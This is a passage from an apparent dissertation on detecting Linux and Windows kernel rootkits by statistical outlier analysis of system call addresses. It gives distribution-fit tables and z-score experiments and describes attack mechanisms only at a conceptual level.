adequate (although not the best) fit for kernels infected or uninfected with kernel rootkits

employing the system call target modification attack.

7.5 Statistical Methods

Section 5.4 discusses statistical methods used in the general distribution detection
model, but a brief review will be presented here. While the data in the system call table
modification attacks presented in chapters 5 and 6 tended to fit the largest extreme value
distribution, the data in the system call target modification attack tends to fit the logistic
distribution best.

Most discordancy tests require at least an estimate of the number of outliers, and
their locations. In this case, the purpose is to identify outliers without this kind of a
priori knowledge. A general and early approach to identifying outliers is to identify the
underlying distribution of the data and identify individuals that deviate from the
distribution. This approach is common in statistics, but does not scale well [50]. While
this approach worked well when working with a finite number of system call addresses —
a few hundred in the system call table — it may not scale well when dealing with
approximately 72,000 disassembled memory addresses from the 2.6.8 kernel. This

misgiving may be further strenghened by observing the Anderson-Darling goodness of fit
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scores in Tables 7.3, 7.4, and 7.5. Even after infection with the enyelkm v1.1 kernel
patching rootkit, the best fitting distribution - logistic — suffers only a modest increase
from 16875.174 to 17576.775. This is an increase of less than five percent — it is
quesitonable whether the general distribution model will be able to adequately detect a
rootkit detection within this narrow margin. This is eloquent proof that the general
distribution detection model does not scale well. Even though the general distribution
detection model may prove to be inadequate for detecting the system call target
modification attack, the ‘assumption of normality’ model holds more promise for
detecting this kind of attack, and will prove to be more successful than this approach,

with the addition of a few modifications.

7.6 Experimental Results

Observe that the Anderson-Darling goodness of fit score of the 32-bit Intel 2.4.27
kernel for the Logistic distribution is 17667.781, within 5% of the goodness of fit score
for the same distribution and same architecture for the 2.6.8 kernel with a score of
16875.174. This is good news, in that different kernel versions within the same
architecture fit the same distribution very closely, at least as compared to other
distributions.

The bad news is that the difference between the Anderson-Darling goodness of fit
scores for a 32-bit Intel architecture 2.6.8 uninfected kernel and a 32-bit Intel architecture
2.6.8 kernel infected with the enyelkm v1.1 kernel patching rootkit are also within 4% of
one another. The uninfected AD score for the logistic distribution is 16875.174, while

the AD Score for the logistic distribution of the same system after infected by the
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Enyelkm v1.1 kernel patching rootkit is 17576.775. Obviously, the general distribution
model does not scale well to take into account the tens of thousands of memory addresses
gleaned from disassembling the kernel, and the very few outliers among these in the
event of rootkit detection. Clearly, a more sensitive test is required. As previously
discussed in Chapter 5, a general and early approach to identifying outliers was to
identify the closest fitting underlying distribution of the data and identify items that

deviate from the distribution. While common, this approach doesn’t scale well [50].

7.7 Conclusions

Clearly, in order for the general distribution models to successfully detect the
system call target modification attack, general a priori knowledge will be required for
each operating system (including kernel version) and architecture pair. Optimally, one
should only need general a priori knowledge about broad categories of operating system
and architecture pairs. A perfect example of this is the finding that at least for the system
call table modification attack, the distributions of system call addresses tend the fit the
largest extreme value distribution very well, even across kernel versions and
architectures. There is no doubt that the application of the general distribution model to
the system call target modification attack is inadequate in this respect.

There is no doubt that a more sensitive model is needed in order to detect the
system call target modification attack. An improved, normality-based model for this
specific purpose will be presented in the next chapter, including experimental results to

demonstrate the appropriateness of the model for this approach.
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CHAPTER VIII

DETECTING SYSTEM CALL TARGET MODIFICATION ATTACKS USING

NORMAL DISTRIBUTION MODELS

This chapter will address the use of a modified ‘assumption of normality’
technique to detect a Linux kernel rootkit utilizing the system call redirection attack,
which is a special case of the system call target modification attack. Sections 8.1 and 8.2
present a review of definitions, and a detailed explanation of necessary modifications to
the ‘assumption of normality’ formal model. Section 8.3 presents an unexpected
experimental finding critical to the success of thismodel. Section 8.4 discusses the
statistical properties and normality of the data, while section 8.5 presents the detailed

experimental results. Finally, section 8.6 includes relevant conclusions.

8.1 Definitions

Much of the information presented here is similar to the information in Chapter 7,
but a brief review will be presented here. Again in this chapter, the definitions of an
outlier, discordancy test, kernel rootkit have not changed from the original definitions
presented in Chapter 5. Similar to Chapter 7, this chapter focuses on detecting rootkits of

the two latter types — system call redirection, and system call target modifications. The
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system call table redirection is a special case of the system call target modification attack,
in that the system call table event handler itself becomes the victim of system call target
modification, and may be detected by the same methods. Recall that, in Section 7.1,
several key concepts relevant to this detection model were presented in detail. These
concepts included:

e Runtime kernel patching rookits modify the running kernel in /dev/mem or
/dev/mem and overwrite the system call code;

e Specifically, the rootkit overwrites first few instructions of a given system call
with a jump instruction to higher in memory, where a malicious system call exists
to replace the original;

e The operands, that is, the memory addresses of these jump instructions are of
particular interest for statistical analysis;

e These jump instructions presented in table 7.1;

e The operands of the jump instructions — memory addresses — are collected by

disassembling the kernel.

8.2 Formal Model

Remember that for this analysis to occur, the running kernel must be
disassembled, and all conditional and unconditional jump instructions (including push
instructions) must be collected. For reasons which will become clear later, the order of
appearance in the disassembled code of these instructions is important and this
information will also be collected. These instructions are further analyzed, and their

operands — memory addresses — are extracted for analysis. After these memory addresses
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are collected, they are converted from hexadecimal to decimal addresses. Z-scores are
then calculated for these addresses, and those with z-scores greather than or equal to three
are considered outliers and as such are reserved for further analysis. Unfortunately, even
an uninfected kernel contains memory addresses of this kind which are natural outliers,
that is, are outliers but have not been modified by kernel rootkit infection. Even though
the dataset contains approximately 70,000 data items, only a few (typically one dozen or
less) have z-scores greather than or equal to three.

This data, the memory addresses, is univariate, and it also contains several natural
outliers making a conventional, normality based approach for outliers analysis
impractical. For complex reasons which will be explained later, the order of appearance
of these memory addresses appears to be a factor. It will prove helpful to add a second
dimension to the data, a dimension that takes into account the order of appearance of each
individual as well as the indivual’s Z-Score. A second dimension will be added, a
composite value constituted by the line number (order of appearance) multiplied by the
individual’s Z-Score. This value will be called ‘L*Z’, or the ‘LZ’ value.

This data will then be sorted by the ‘LZ’ score descending. In an uninfected
system, the ratio between ‘LZ’ score of the individual with the highest ‘LZ’ score and the
‘LZ’ score of the individual with the lowest ‘LZ’ score is less than ten. The ratio
between the ‘LZ’ score of the individual with the highest ‘LZ’ score and the remaining
individuals will, of course, be much less than ten.

In a system infected by a runtime kernel patching kernel rootkit, the ratio
between the ‘LZ’ score of the uninfected individual with the highest ‘LZ’ score and the

‘LZ’ score of the uninfected individual with the lowest ‘LZ’ score should again be less
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than 10. However, the ratios between the ‘LZ’ score of the uninfected individual with the
highest ‘LZ’ score and the ‘LZ’ scores of the infected individuals are expected to be

much greater than 10, and probably greater than 100.

8.3 Order of Appearance

The fundamental purpose of this model is to identify those individuals that have
(a) Z-Scores in excess of 3, and (b) also have an early order of appearance in the code of
the disassembled kernel instructions. Recall that the order of appearance of the
disassembled instructions appear to be a factor in determining the likelihood that any
given individual will have been infected by a kernel rootkit. System calls can be thought
of as either higher-level function calls (such as sys_read or sys_write) and lower level
functions (such as the system calls constituting VFS, the virtual file system). Clearly, an
attacker would prefer to only rewrite sys_read instead of an entire library of lower level
system calls such as those comprising VFS. Conceptually, the system calls constituting
the Linux kernel may be imagined as a pyramid, with sys_read, sys_write, and the other
high level functions at the apex of the pyramid, and the lower level kernel functions such
as VFS system calls, near the bottom of the pyramid. Interestingly, at boot time this
‘pyramid’ of system calls appears to be loaded into memory in an inverted manner. That
is, the higher level functions such as sys_read and sys_write appear to be loaded into
memory first, at the lower memory addresses. The lower level system calls tend to be
loaded later, much higher in memory. Attackers wish to gain the upper hand with the
minimum effort necessary, and all known rootkits attack only high level system calls,

leaving the low level calls untouched. Relying on this assumption, it can be shown
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system call memory addresses with Z-Scores greater than or equal to three and very low
orders of appearance are highly suspect.

Having shown which system call memory addresses are more likely to be
infected, it should be noted that this data contains natural outliers with z-scores greater
than or equal to three, even in an uninfected system. However, the system calls having
these outliers can be shown to be low level system calls, unlikely to be modified by an
attacker. Specifically, these system calls containing natural outliers are :

e aio_put_req (Asynchronous I/0) — AIO Ring is a memory buffer in the address
space of the user mode process that is also accessible by all processes in kernel
mode.

e mpage_writepage (Memory mapping) — Loading files for execution into memory,
sharing memory between processes.

e move_to swap_cache (Swap cache) — Page Frame Reclaimation Algorithm.
Calls add_to_swap_cache.

e page_put_link (Ext2 filesystem)

These functions provide functionality for asynchronous 1/0, memory mapping,
and memory management. These low level functions have historically been of little
interest to attackers. Having established this, it can now be shown that individuals with
high standard deviation and high order of appearance are actually low level system calls
containing natural outliers, and are unlikely to be selected as targets by an attacker.

Amongst the individuals just described, what would identify other individuals as
rootkit infected outliers? First, these individuals would have a high z-score. Second,

suspect individuals would be high level system calls — that is, system calls with a very
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low order of appearance. In an uninfected system the ratio between ‘LZ’ scores of the
two individuals with the largest and smallest ‘LZ’ scores, and having z-scores greater
than or equal to three, is typically less than 10.

In an infected system, those individuals having a ‘LZ’ score ratio of one hundred
or more (as compared to the individual with the largest ‘LZ’ score and having a z-score
less than three) have been infected by a kernel rootkit. Why? Because they have (a) been
identified as outliers having z-scores greater than or equal to three, and (b) they have
been identified as high level system calls having a very early order of appearance.

Using the “‘assumption of normality’ model, it is assumed that the system call
addresses in the disassembled kernel system calls are somewhat normally distributed. If
this may be assumed, this simplifies the task of rootkit detection.

The definitions mentioned in this section have been previously defined in section
5.1. The definitions of an outlier and discordancy test have not changed. The definition
of a kernel rootkit also remains unchanged, and the formal model presented in Section 5.1
still holds with further modifications. Since the model has changed, some of the
information presented in Section 5.1 will be reviewed again here.

As discussed previously, a kernel rootkit is defined as some program p,, which
imitates a subset of operating system functionality p;. Therefore, p; is a subset of p.
The functionality that exists in p,, but not py, is the additional functionality provided by
the kernel rootkit in order to maintain control of compromised systems, attack other
systems, destroy evidence, and decrease the chance of the attacker being detected by the

authorities. More formally, the kernel rootkit functionality can be expressed as p, — p1 =

p’[14].
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The fundamental differences in this approach is the absence of the necessity to
have statistical information about the properties of an uninfected system, and the need to
analyze memory addresses in the entire kernel instead of only in the system call table.
Therefore, the elements of the formal model that define the properties of an uninfected

system become unnecessary and may be discarded. The elements to be discarded are:

s; = M;(p;) — system call addresses in clean kernel (8.1)
s> = M>(p;) — system call addresses in clean system call table (8.2)
52" = M>(p,) — system call addresses in infected system call table (8.3)
D; = t(s;) — Discordancy score of system call addresses in clean kernel (8.4)
D, = t(s,) — Discordancy score of addresses in clean system call table (8.5)
D,’ = t(s,’) — Discordancy score of addresses in infected system call table (8.6)

Having discarded half the elements from the original model, the new model is
smaller, more elegant, and requires significantly less a priori knowledge about the system

under observation. The only elements remaining in the new formal model are:

s;” = M;(p,) — system call addresses in infected kernel (8.7)
D;’ = t(s;’) — Discordancy score of system calls in infected kernel (8.8)
LZ = Order of appearance * Z-Score (8.9)
D,’ =r(s;’) — Second discordancy score of addresses in infected kernel (8.10)

The discordancy test t is simply the z-score. The z-score represents the number of
standard deviations away from the mean for a particular individual x, and is represented
by z = (x— X )/o. The ‘LZ’ score is represented by the line number in the disassembled
code in which the value occurs multiplied by the individual’s Z-Score. The second

discordancy test r is represented by the ratio between the ‘LZ’ score of the individual
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with Z-Score >=3 and the largest ‘LZ’ score and the ‘LZ’ score of any given individual.
For an individual to be considered an outlier and infected by a kernel rootkit, it must
satisfy

D;’>=3and D> > 100 (8.11)

8.4 Normality of Data

Tables 8.1 shows the goodness of fit scores for the 32 bit Intel architecture kernel
2.6.8 disassembled system call memory addresses that are uninfected. Table 8.2 shows
the goodness of fit scores for the 32 bit Intel architecture kernel version 2.6.8 infected
with the enyelkm v1.1 rootkit.

These tables shows that, with enyelkm v1.1 rootkit infection, there are measurable
but suble changes in the best and worst fitting distributions. Earlier work in this research
is based upon changes in the fits of distributions, but in the preceding examples, the
differences in the distributions were much more pronounced. However, all that is
necessary in this case is that the data be normal enough to allow application of the
normality based tests in the formal model. Clearly, the normal distribition is one of the
better fitting distributions in both uninfected and infected kernels. It will be shown that
this approach does not produce false positives on a uninfected kernel and does not

produce false negatives on an infected kernel.
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Table 8.1 - Anderson-Darling scores for uninfected 2.6.8 disassembled kernel

Distribution AD-Score
Loglogistic 15883.557
Logistic 16875.174
3-Parameter Loglogistic 17575.839
Normal 25497 .186
3-Parameter Lognormal 25554 .644
Lognormal 26270.259
Weibull 28804 .239
Smallest Extreme Value 28845.74
2-Parameter Exponential 32412.629
Exponential 32419.241
3-Parameter Weibull 3492063.179

Table 8.2 — AD-scores for disassembled 2.6.8 kernel infected with enyelkm v1.1

Distribution AD-Score

Logistic 17576.775
3-Parameter Loglogistic 18288.079
Loglogistic 21471.281
3-Parameter Lognormal 27036.452
Normal 27043.837
Lognormal 27335.94

3-Parameter Weibull 29131.015
Weibull 29142 .046
Smallest Extreme Value 29142 .187
2-Parameter Exponential 32830.144
Exponential 32839.034

8.5 Experimental Results

Having established that the the dataset is normal enough to facilitate the use of
normality based tests, one may proceed by applying the model as set forth in Section 5.1
to a 32-bit Intel architecture 2.6.8 kernel by disassembling the kernel and collecting the
memory addresses of the conditional and unconditional jump instructions from the
disassembled code yields approximately 71,000 data items.

In the dataset, exactly eleven of these individuals pass the first discordancy test,
having z-scores greater than or equal to three. These individuals are presented in table

8.3, below.
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Table 8.3: individuals passing first discordancy test

Dec Line Z-Score L*Z Trojaned
3989496426 133690 11.0229 1473655 0]
3989472440 130696 11.0226 1440607 0
3988138649 83819 11.0034 922298 0
3955240370 110418 10.5315 1162863 0
3837803050 600477 8.8466 5312183 0]
3571333718 627488 5.0236 3152254 0]
3571333718 627382 5.0236 3151722 0
3571333718 627276 5.0236 3151189 0]
3498557285 5232 3.9795 20821 1
3498557285 5164 3.9795 20550 1
3498557285 5129 3.9795 20411 1

Note that individual #5, having ‘LZ Score’ value 5312183, is of particular
interest because it enjoys the largest ‘LZ Score’ of all the individuals and will be used in
the computation of the second discordancy test for all the individuals. Individual #5 is
important because (a) is has a z-score greater than or equal to three, and (b) it has a very
high ‘LZ Score’, identifying it as a low-level system call unlikely to be modified by an
attacker. The second discordancy test is the ratio of Individual #5 (5312183) divided by
the “‘LZ Score’ of each of the other ten individuals. The results of the second discordancy
test are presented in Table 8.4, below.

Table 8.4: results of second discordancy test

Dec Line Z-Score L*Z Trojaned Ratio
3989496426 133690 11.0229 1473655 0] 3.604767059
3989472440 130696 11.0226 1440607 0] 3.687461605
3988138649 83819 11.0034 922298 0 5.759725165
3955240370 110418 10.5315 1162863 0] 4.56819333
3837803050 600477 8.8466 5312183 0] 1
3571333718 627488 5.0236 3152254 0] 1.685201446
3571333718 627382 5.0236 3151722 0] 1.685485903
3571333718 627276 5.0236 3151189 0] 1.68577099
3498557285 5232 3.9795 20821 1 255.1358244
3498557285 5164 3.9795 20550 1 258.5003893
3498557285 5129 3.9795 20411 1 260.2607908

Note that those individuals that are uninfected but still have z-scores greater than
or equal to three receive very low second discordancy test (ratio), typically less than five.

However, the three infected individuals have z-scores greater than or equal to three, and
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very high ration scores — typically greater than two hundred fifty. Clearly, these
individuals have been modified by kernel rootkit infection. Again, the second
discordancy test is a measure of (a) having a z-score greater than or equal to three, and

(b) an individual’s status as a high level, rather than a low level, system call.

8.6 Conclusions

Linux kernel rootkits are closely tied to specific major kernel versions of Linux.
Rootkits that employ the system call table modification attack are most prevalent in the
Linux 2.4 kernel, while kernel patching rootkits that employ the system call target
modification attack or the system call table redirection attack are most prevalent in the
Linux 2.6 kernel.

Using the “assumption of normality’ model to detect the system call target
modification attack is complicated by the discovery of natural outliers, or outliers that
occur even in an uninfected system of this kind, within the data. These outliers occur in
the disassembled jump instructions of specific low level system calls, specifically the
following:

e aio_put_req (Asynchronous I/0) — The AIO Ring is a memory buffer in the
address space of the user mode process that is also accessible by all processes in
kernel mode.

e mpage_writepage (Memory mapping) — Used for loading files for execution into
memory, and sharing memory between processes.

e move_to swap_cache (Swap cache) — This is part of the page frame reclaimation

functionality. Calls add_to_swap_cache.
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e page_put_link — This is part of the API for the ext2 filesystem.

These system calls typically concern sharing information between processes
running in user space and processes running in kernel space. For this reason, outliers are
generated — these system calls must move between kernel space (typically lower in
memory), and user space (typically higher in memory). The formal model presented in
Section 8.1 takes into account the following facts:

e Qutliers exist even in an uninfected system;

e Higher level system calls tend to be loaded into memory first (receiving lower
memory addresses), and lower level system calls tend to be loaded into memory
later (receiving higher memory addresses);

e Outliers that are a product of low level system calls appearing higher in memory
are unlikely to be selected for modification by an attacker;

e Outliers that are a product of high level system calls appearing lower in memory
are likely candiates for modification by an attacker.

The detection method presented in this chapter depends on the presence of natural
outliers to illuminate the presence of those outliers that stem from the activities of a
rootkit. What happens in the scenario where the Linux kernel under analysis contains no
natural outliers? Assuming the statistical properties of the kernel presented in this
chapter do not change, absence the presence of natural outliers, all memory addresses

with z-scores in excess of 3 would be outliers generated by rootkit activity.
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CHAPTER IX

DETECTING WINDOWS ROOTKITS

While this research focuses on detecting Linux kernel rootkits, it may also prove
useful for detecting rootkit infections in other operating systems as well. Microsoft
Windows has a structure known as the system service descriptor table, or SSDT, and is in
many ways similar to the Linux system call table. Both the general distribution model
and the normal distribution model will be employed in detection attempts against a
Windows-based kernel rootkit. Section 9.1 of this chapter presents an overview of the
Windows architecture and Windows-based rootkits, while the usual definitions and
formal model constitute sections 9.2 and 9.3. In section 9.4, the normality and statistical
properties of the memory addresses constituting the system service descriptor table are
examined. Section 9.5 covers the experimental results, with section 9.6 presenting
further unexpected experimental results. Finally, section 9.7 includes conclusions and a

summary.

9.1 An Overview of the Windows Architecture and Windows Rootkits
Symantec corporation defines Windows rootkits as “programs that use system
hooking or modification to hide files, processes, registry keys, and other objects in order

to hide programs and behaviors”. However, Windows rootkits do not necessarily include
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functionality to gain administrative access. In fact, they typically require administrative
access in order to function [55].

There are two primary classes of Windows rootkits — user mode and kernel mode
rootkits. User mode rootkits function by modifying operating system calls. In the case of
Microsoft Windows, this involves modifying the common code found in DLL’s (dynamic
link libraries). Typically, the rootkit will modify a DLL to redirect to the rootkit’s code,
and the rootkit will call the API itself and modify the results before returning the now
modified results to the calling application [55].

Since user mode applications do run in their own memory space, a user mode
rootkit needs to perform these activities in the memory space of every running
application. Additionally, the rootkit needs to monitor memory for any new applications
that execute and modify those memory spaces before the new application can execute
[55].

A more effective method method of system hooking would be to hook the system
call further down the path where all paths converge in the kernel. This is the method that
kernel mode rootkits utilize — system hooking or modification in kernel space. The
kernel is an ideal place to perform this kind of attack because it is as the lowest level and
therefore ideal for reliable, robust system call hooking [55].

The system call’s path through the kernel passes through a variety of locations
perfectly suited for modification of a system call. Several of these will be discussed
below [55].

e Asasystem call’s execution path leaves user space and enters kernel space, it

must pass through a kind of “gate”. The purpose of this gate is to insure that user
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mode code does not have general access to the kernel space. The gate is
effectively a proxy between user mode and kernel mode. In previous versions of
windows, this gate was implemented via interrupts, and in more modern versions
of windows, by model specific registers (MSRs). Both of these mechanisms may
be modified to cause the gate to redirect to rootkit code instead of kernel code
[55].

Another method for redirection a system call is to modify the system service
descriptor table (SSDT). The SSDT is a function pointer table in memory that
holds the addresses of system calls in kernel memory. By modifying the SSDT, a
rootkit can redirect execution to rootkit code instead of legitimate system call
code [55]. Note that this method is very similar to the system call table
modification attack in Linux, presented earlier in this work.

Finally, another method employed by kernel mode Windows rootkits is to directly
modify the data structures in kernel memory. This attack is known as direct
kernel object modification (DKOM) [55]. This method is also very similar to the

methods employed by Linux runtime kernel patching rootkits.

Microsoft Windows and Linux both have similar mechanisms by way of which

they may be attacked by rootkits. While Windows has a system service descriptor table

(SSDT), Linux has a system call table. Windows may be subverted using direct kernel

object modification (DKOM), while Linux may be subverted by runtime kernel patching

rootkits. Because of these similarities, it will be shown in the following sections that

those methods useful in detecting Linux kernel rootkits are also useful and effective in
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detecting Windows rootkits that use subversion methods similar to those used against

Linux kernels.

9.2 Definitions

The definitions used in the formal model were formally defined in Section 5.1,
and will not be revisited here except to note that the definition of an outlier, discordancy
test, and kernel rootkit have not changed. However, the methods by which Windows
kernel rootkits and Linux kernel rootkits attack the kernel share several similarities, and
these should be discussed before presenting the experimental results.

Recall that both Windows and Linux Kernel rootkits attack the operating system
by way of modifying system call memory addresses, and this is accomplished through the

following mechanisms [14;55]:

System call table modification — This attack changes the addresses of the system calls in

the system call table to point to similar, but malicious, system calls located much higher
in memory. Windows kernel rootkits sometimes employ a similar attack, which modifies
the system service descriptor table, the Windows equivalent of the Linux system call

table.

System call table redirection — Modifies the system call handler, changing the address of

the system call table to a similar, but malicious system call table much higher in memory.
There appears to be no corresponding attack method employed by Windows kernel

rootkits.
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System call target modification — Directly modifies the system call instructions (via

runtime kernel patching), inserting a jump instruction to a location much higher in
memory which contains a similar, but malicious, system call. Windows kernel rootkits
also sometimes employ a similar attack known as direct kernel object modification, or
DKOM.

The formal model for this approach is the same as the one described in section
5.1. Therefore, it will not be discussed in detail again here, but the fundamentals of the

model will be briefly revisited.

9.3 Formal Model
The fundamentals of the model and approach described it Section 5.1 can now be

summarized as follows:

s; = M;(p;) — System call addresses in uninfected kernel (9.2
52 = M(p;) — System call addresses in uninfected kernel’s system call table (9.2
s;” = M;(p,) — System call addresses in infected kernel (9.3)
52’ = M>(p,) — System call addresses in infected kernel’s system call table (9.4)
D; = t(s;) — AD score for system call addresses in uninfected kernel (9.5)
D, = t(s;) — AD score for uninfected kernel’s system call table. (9.6)
D;’ = t(s;’) — AD score for system call addresses in infected kernel. 9.7)
D,’ = t(s,’) — AD score for infected kernel’s system call table. (9.8)

Recall that both s; and s, are derived from general knowledge in that they are

obtained from experimentation across mutliple operating system and architecture pairs,
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while s;” and s, are obtained from the specific system being investigated. Also recall
that if D;”> D; or D,” > D, then a rootkit has been detected. Once a rootkit has been
detected, outliers are removed, one at a time, until the discordancy test returns to close to
the uninfected score. The location of the outliers is constrained by operating system
mechanics, so that outliers are always on the right side of the distribution.

If 545 is the largest (right most) system call address in the kernel, and sy; is the

largest (right most) system call address in the system call table,

S1”=81" — sy (9.9
S2’ = 82" — Sy’ (9.10)
D, =t(s;’) (9.11)
D>’ =(s5’) (9.12)
And again

If D;”> D; or D,” > D, then a rootkit has been detected.

Until the kernel rootkit is fully detected — that is, until D;” <= D; and D,’ <= D,. (9.13)

9.4 Normality of Data

Before additional progress may be made with this approach, some observations
must be made about the distribution of system call addresses within the Windows
operating system. In this instance, these observations will be confined to the portion of
the Windows operating system known as the system service descriptor table (SSDT),
which corresponds to the Linux system call table. These observations were made on a

test system using the Microsoft Windows 2000 operating system.
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Table 9.1: AD-scores for uninfected Windows 2000 SSDT

Distribution AD-Score
3-Parameter Weibull 3.029
Weibull 3.040
Smallest Extreme Value 3.041
3-Parameter Loglogistic 3.120
Logistic 3.120
Loglogistic 3.121
Normal 3.139
Lognormal 3.140
3-Parameter Lognormal 3.147
Gamma 3.147
3-Parameter Gamma 3.566
Largest Extreme Value 8.446
2-Parameter Exponential 61.909
Exponential 113.727

Table 9.1, above, contains the Anderson-Darling goodness of fit scores for the
248 memory addresses located in the system service descriptor table of the Windows
2000 test machine. Note that, unlike those scores observed in Linux kernels, the best
fitting distributions are the 3-parameter weibull and weibull distributions, consecutively.
This finding further strenghens the suspicion that it will be necessary to generalize, rather
than eliminate, the necessity for a priori knowledge in rootkit detection. However, note
that eleven of the fourteen distributions test are within 16% of one another in regard to
score. The normal distribution also receives a very favorable score, indicating the the
‘assumption of normality” model may be an effective approach with the Windows

architecture.

9.5 Experimental Results.

Symantec [55] suggests that the definition of rootkits, at least in a Windows

environment, has changed and now refers to programs that “use system hooking or
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modification to hide files, processes, registry keys, and other objects in order to hide
programs and behaviors.”

Under this definition, spy software programs such as Webwatcher [56], which are
designed to be used by legitimate authorities interested in monitoring the activities of
legimate users, qualify as a kind of rootkit. In fact, WebWatcher uses system hooking to
hide files, processes, registry keys, and other objects in order to hide programs and
behaviours (that is, the monitoring of email, online chats, and internet surfing behaviours)
from legitimate users. WebWatcher uses the system service descriptor table attack,
which is similar to the system call table modification attack seen in Linux, to accomplish
these tasks.

Table 9.2: AD-scores for Windows 2000 SSDT infected with WebWatcher

Distribution AD-Score
3-Parameter Loglogistic 13.841
3-Parameter Lognormal 39.308
Loglogistic 89.597
Logistic 90.143
Weibull 92.625
Smallest Extreme Value 92.658
Gamma 92.743
Normal 92.762
Lognormal 92.665
3-Parameter Gamma 93.765
Largest Extreme Value 106.659
Exponential 111.017
2-Parameter Exponential 776.980
3-Parameter Weibull 8454206

Recall that the best fitting distribution for the SSDT of an uninfected Windows
2000 system was the 3-parameter weibull, with an Anderson-Darling goodness of fit
score of 3.029. After infection with the WebWatcher monitoring software (essentially a
Windows rootkit), the goodness of fit score for the 3-parameter weibull distribution
changes to a remarkable 8454.206, illustrated above in table 9.2. The WebWatcher

software modifies only three entries in the SSDT. This is a change of 2791.00%, an
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exceedingly large and unexpected change. Obviously, such a change would be trivial to
observe, for human and computer alike.

Table 9.3: AD-scores for Windows 2000 SSDT with outliers removed

Distribution AD-Score
3-Parameter Weibull 2.920
Weibull 2.931
Smallest Extreme Value 2.932
Logistic 3.079
3-Parameter Loglogistic 3.079
Loglogistic 3.080
Normal 3.114
Lognormal 3.115
3-Parameter Lognormal 3.121
Gamma 3.121
3-Parameter Gamma 3.512
Largest Extreme Value 8.492

2-Parameter Exponential 61.331
Exponential 112.352

Table 9.3 shows the Anderson-Darling goodness of fit scores for the Windows
2000 SSDT, after the three outliers have been removed. Most importantly, the Anderson-
Darling goodness of fit score for the 3-parameter weibull distribution has returned to
2.920, within 3.6% of it’s original, uninfected value. This is eloquent proof of the
effectiveness of this model, provided that general a priori knowledge is available
regarding the general statistical properties of wide categories of operating

system/architecture pairs.

9.6 Further Experimental Results

Observe that, in Table 9.1, the Anderson-Darling goodness of fit score for the
normal distribution is 3.139. This is a very favorable score, even when compared to the
best fitting distribution, the 3-parameter weibull distribution, which has a score of 3.029.
It is possible, even likely, that the *assumption of normality’ model may be a better fit for

rootkit detection in this circumstance.
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Remarkably, the uninfected SSDT in the Windows 2000 test system is distributed
normally enough that the z-scores for the uninfected memory addresses in the SSDT
range between 1.80048 and -2.86425. None of the addresses have z-scores in excess of
three standard deviations. This is a perfect situation for the use of a normality based
detection approach.

Infection with the WebWatcher program modifies three entries in the SSDT.

A re-examination of the data, after infection with the WebWatcher software, shows these
three infected entries in the SSDT now have z-scores in excess of 9! A more complex
model, similar to the one presented in Section 8.1, is not necessary. Amazingly, the
memory addresses in the SSDT are distributed normally enough to allow a detection
model based solely on the calculation of z-scores, and flagging those entries with z-scores

greather than or equal to three as outliers and as such, infected by a kernel rootkit.

9.7 Conclusions

The attack methods employed by Windows kernel rootkits and Linux kernel
rootkits share many similarities. Both classes of rootkit employ direct kernel
modification, as well as a system call table modification attack (known as the SSDT in
Windows).

Furthermore, experimental results indicate that the memory addresses within the
Windows kernel tend to be much more normally distributed than in Linux, making
detection much easier. While this research was initially focused in the detection of Linux
kernel rootkits, these methods may yet prove to be more effective, or at least less

complicated, when employed in the detection of Windows kernel rootkits. Further
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research into the possibility of using these methods to detect rootkits in a Windows
environment is both promising and warranted. Microsoft offers a wide array of operating
systems for use in testing these approaches, including Windows 2000, Windows XP, and

the newly released Vista.
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CHAPTER X

CONCLUSIONS AND FUTURE RESEARCH DIRECTIONS

Finally, conclusions and the direction of future research into this area will be
discussed in this final chapter. Section 10.1 provides the overall conclusions for this
work. Sections 10.2 and 10.3 present future research directions, with section 10.2
presenting a detailed plan for generalizing the 4 Priori knowledge required for the
detection of kernel rootkits using the approaches presented here. This plan includes
examining an existing rootkit knowledge base, the necessity of creating a new operating
system knowledge base, determining the significance of kernel compilation options,
variability across architectures and operating systems, and the required granularity of this
information. Section 10.3 examines a new class of threat, virtualized rootkits. The
operational details and existing detection options will be discussed for the only known

virtualized rootkit, Blue Pill, which has been designed for Windows Vista.

10.1 Conclusions

Rootkits are, essentially, stealthy malicious software that allows an attacker to use
an already compromised system to maintain control of that system, attack other systems,
destroy evidence, and decrease the chances of being detected by system administrators

[6]. First generation rootkits were discovered “in the wild” since the mid-1990s,
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and have evolved into second, third, and now fourth (virtualized rootkits) generation
models. These new models include new, especially insiduous rootkits that subvert the
operating system/kernel in various ways.

Kernel rootkits modify the kernel via three primary mechanisms. These

mechanisms are:

System Call Table Modification. The attacker modifies the addresses stored in the system

call table. The attacker, having written custom system calls [15] to replace several
system calls within the kernel, changes the addresses in the system call table to point to

the new, malicious custom system calls.

System Call Target Modification. In this case, the attacker overwrites the legitimate

targets of the addresses in the system call table with malicious code. The system call
table does not need to be changed. The first few instructions of the system call function

is overwritten with a jump instruction to the malicious code.

System Call Table Redirection. In this type of rootkit implementation, the attacker

redirects references to the entire system call table to a new, malicious system call table in
a new kernel address location. This method can pass many currently used detection
techniques [14]. Upon further investigation, it appears that the system call table
redirection attack is simply a special case of the system call target modification attack
[16]. The attacker simply modifies the system call function, modifying the address of

the system call table therein, which handles individual system calls.

114



Existing methods of detecting Linux kernel rootkits typically rely on either (a)
saving system state before infection, and comparing this information post infection, or (b)
installing a detection program (such as tripwire) before infection. These two approaches
rely on a priori knowledge for detection. Even so, some Linux based rootkit detection
products offer some limited functionality when employed after infection.

This research focuses on detecting kernel rootkits with greatly reduced a priori
knowledge, in the form of general knowledge of the statistical properties of broad classes
of operating system/architecture pairs. Additionally, these detection techniques rely on
more formal, statistically based detection methodologies.

Specifically, four different techniques are explored in this work. First, general
distribution models were employed to detect kernel rootkits that use the system call table
modification attack to infect systems. This model is based on early efforts in the field of
outlier detection, and suffers from shortcomings — primarily this approach does not scale
well. However, the datset in this case is small, and this approach was 100% effective in
successfully detecting four different rootkits utilizing the system call table modification
attack.

Second, a normality based approach was investigated for use in detecting kernel
rootkits that infected systems by way of the system call table modification attack. This
approach was only partially successful, and generates false positives. The percentage of
false positives, however, was only 0.35%. In order for this approach to be useful in
practice, a second discordancy test or some other method for dealing with these false

positives will need to be developed.
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Next, the general distribution model was applied to the detection of rootkits that
infect systems via the system call target modification attack. The dataset in this instance
is dramatically larger, including disassembled memory addresses from the entire kernel,
and not only the system call table. As expected, this approach did not scale well, and is
not appropriate for this particular application. However, a modified version of the
normality based approach proved to be effective in detecting kernel rootkits that infect
the kernel via the system call target modification attack. This approach hinges on the
discovery that system calls are loaded into memory sequentially, with the higher level
system calls loaded first, and the lower level system calls loaded later. Higher level
systems calls are more likely to be infected by kernel rootkits. This approach also makes
